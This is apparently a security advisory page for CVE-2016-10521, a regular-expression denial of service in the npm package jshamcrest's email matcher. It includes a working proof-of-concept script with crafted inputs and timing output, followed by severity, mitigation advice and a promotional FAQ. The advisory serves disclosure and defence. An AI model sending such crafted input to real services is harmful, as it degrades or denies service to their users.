CVE-2016-10521

Regular Expression Denial of Service in jshamcrest

var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();


var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    emailAddress.matches(str)

    var end = process.hrtime(start);
    console.log(end);
}

[ 1, 633084590 ]
COUNT: 51
LENGTH: 116

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2016-10521 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

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The jshamcrest package currently has no patched versions available.

At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are multiple modules fitting this criteria available on npm..

1. What is CVE-2016-10521? CVE-2016-10521 is a high-severity uncontrolled resource consumption vulnerability in jshamcrest (npm), affecting versions <= 0.7.1. No fixed version is listed yet. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2016-10521? CVE-2016-10521 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of jshamcrest are affected by CVE-2016-10521? jshamcrest (npm) versions <= 0.7.1 is affected.
4. Is there a fix for CVE-2016-10521? No fixed version is listed for CVE-2016-10521 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2016-10521 exploitable, and should I be worried? Whether CVE-2016-10521 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2016-10521 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2016-10521? No fixed version is listed yet. In the interim: Apply input size limits and request rate limiting. Reject input that exceeds reasonable bounds before processing begins.